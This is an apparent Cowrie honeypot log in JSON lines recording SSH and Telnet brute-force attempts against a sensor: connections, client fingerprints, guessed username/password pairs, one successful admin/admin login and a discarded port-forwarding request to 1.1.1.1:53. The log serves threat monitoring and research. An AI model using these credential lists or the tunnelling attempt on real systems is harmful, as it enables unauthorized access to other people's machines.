{"eventid":"cowrie.login.failed","username":"arkserver","password":"123456","message":"login attempt [arkserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:29:59.426886Z","src_ip":"115.68.208.117","session":"632f7c5bc1ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:00.641968Z","src_ip":"115.68.208.117","session":"632f7c5bc1ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":38774,"dst_ip":"10.17.0.5","dst_port":22,"session":"4374197e9223","protocol":"ssh","message":"New connection: 186.113.245.157:38774 (10.17.0.5:22) [session: 4374197e9223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:00.723324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:00.730649Z","src_ip":"186.113.245.157","session":"4374197e9223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:00.822340Z","src_ip":"186.113.245.157","session":"4374197e9223","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@2024","message":"login attempt [root/test@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:01.216696Z","src_ip":"186.113.245.157","session":"4374197e9223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:02.316104Z","src_ip":"186.113.245.157","session":"4374197e9223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53388,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fb9f734a192","protocol":"telnet","message":"New connection: 38.60.198.128:53388 (159.203.135.109:23) [session: 5fb9f734a192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:10.292351Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57740,"dst_ip":"10.17.0.5","dst_port":23,"session":"055fdda0053e","protocol":"telnet","message":"New connection: 38.54.119.93:57740 (10.17.0.5:23) [session: 055fdda0053e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:11.932714Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.162.75.132","src_port":53924,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8daf5808045","protocol":"telnet","message":"New connection: 86.162.75.132:53924 (10.17.0.5:23) [session: f8daf5808045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:17.468704Z"}
{"eventid":"cowrie.session.closed","duration":7.617463111877441,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:19.550046Z","src_ip":"38.54.119.93","session":"055fdda0053e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37338,"dst_ip":"159.203.135.109","dst_port":23,"session":"df22b5ea9066","protocol":"telnet","message":"New connection: 38.60.198.128:37338 (159.203.135.109:23) [session: df22b5ea9066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:19.933600Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":25136,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c3cb4470539","protocol":"ssh","message":"New connection: 177.85.247.230:25136 (10.17.0.5:22) [session: 0c3cb4470539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:22.643369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:22.649914Z","src_ip":"177.85.247.230","session":"0c3cb4470539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:22.751792Z","src_ip":"177.85.247.230","session":"0c3cb4470539","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"55555","message":"login attempt [ubuntu/55555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:23.190023Z","src_ip":"177.85.247.230","session":"0c3cb4470539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:24.298993Z","src_ip":"177.85.247.230","session":"0c3cb4470539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.0121066570282,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:32.147746Z","src_ip":"192.211.53.160","session":"a55209113934","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":57060,"dst_ip":"159.203.135.109","dst_port":22,"session":"b492e28db0f1","protocol":"ssh","message":"New connection: 186.10.86.130:57060 (159.203.135.109:22) [session: b492e28db0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:32.551204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:32.555816Z","src_ip":"186.10.86.130","session":"b492e28db0f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:32.698779Z","src_ip":"186.10.86.130","session":"b492e28db0f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"123123","message":"login attempt [test3/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:33.304298Z","src_ip":"186.10.86.130","session":"b492e28db0f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:34.452439Z","src_ip":"186.10.86.130","session":"b492e28db0f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46052,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fed6f2e74b9","protocol":"telnet","message":"New connection: 38.54.119.93:46052 (10.17.0.5:23) [session: 3fed6f2e74b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:38.447565Z"}
{"eventid":"cowrie.session.closed","duration":40.62966561317444,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:40.046769Z","src_ip":"38.60.198.128","session":"95cff837efdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.752445936203,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:41.049859Z","src_ip":"38.60.198.128","session":"1995a41d1d80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37752,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e191571350c","protocol":"telnet","message":"New connection: 38.60.198.128:37752 (159.203.135.109:23) [session: 4e191571350c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:41.606807Z"}
{"eventid":"cowrie.session.closed","duration":53.18945932388306,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:42.007642Z","src_ip":"45.81.23.16","session":"08d46948957b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.86557936668396,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:46.313012Z","src_ip":"38.54.119.93","session":"3fed6f2e74b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46524,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f45210ee8ee","protocol":"telnet","message":"New connection: 38.60.198.128:46524 (159.203.135.109:23) [session: 4f45210ee8ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:48.579485Z"}
{"eventid":"cowrie.session.closed","duration":39.65680742263794,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:49.949018Z","src_ip":"38.60.198.128","session":"5fb9f734a192","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":10152,"dst_ip":"10.17.0.5","dst_port":22,"session":"2273a226c1be","protocol":"ssh","message":"New connection: 115.68.208.117:10152 (10.17.0.5:22) [session: 2273a226c1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:55.411319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:55.416157Z","src_ip":"115.68.208.117","session":"2273a226c1be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:55.625127Z","src_ip":"115.68.208.117","session":"2273a226c1be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password123!","message":"login attempt [ubuntu/Password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:56.507124Z","src_ip":"115.68.208.117","session":"2273a226c1be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:30:57.726653Z","src_ip":"115.68.208.117","session":"2273a226c1be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":55904,"dst_ip":"10.17.0.5","dst_port":22,"session":"c72b9246428c","protocol":"ssh","message":"New connection: 186.113.245.157:55904 (10.17.0.5:22) [session: c72b9246428c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:01.897384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:01.902184Z","src_ip":"186.113.245.157","session":"c72b9246428c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:02.002784Z","src_ip":"186.113.245.157","session":"c72b9246428c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2011","message":"login attempt [root/admin@2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:02.414951Z","src_ip":"186.113.245.157","session":"c72b9246428c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38020,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad7e63cb4174","protocol":"telnet","message":"New connection: 65.60.27.33:38020 (10.17.0.5:23) [session: ad7e63cb4174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:02.491289Z"}
{"eventid":"cowrie.session.closed","duration":42.850533962249756,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:02.784029Z","src_ip":"38.60.198.128","session":"df22b5ea9066","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:03.513948Z","src_ip":"186.113.245.157","session":"c72b9246428c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39826,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd6f5ba7b7b6","protocol":"telnet","message":"New connection: 38.60.198.128:39826 (159.203.135.109:23) [session: dd6f5ba7b7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:08.470773Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54736,"dst_ip":"10.17.0.5","dst_port":22,"session":"94c71a12d4c9","protocol":"ssh","message":"New connection: 87.251.64.176:54736 (10.17.0.5:22) [session: 94c71a12d4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:14.317165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:14.321698Z","src_ip":"87.251.64.176","session":"94c71a12d4c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:14.419596Z","src_ip":"87.251.64.176","session":"94c71a12d4c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00179028511047,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:14.670944Z","src_ip":"190.183.203.15","session":"11c77c4059c3","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:14.710987Z","src_ip":"87.251.64.176","session":"94c71a12d4c9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:14.811341Z","session":"94c71a12d4c9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:14.911223Z","src_ip":"87.251.64.176","session":"94c71a12d4c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:31:15.010772Z","src_ip":"87.251.64.176","session":"94c71a12d4c9","protocol":"ssh"}
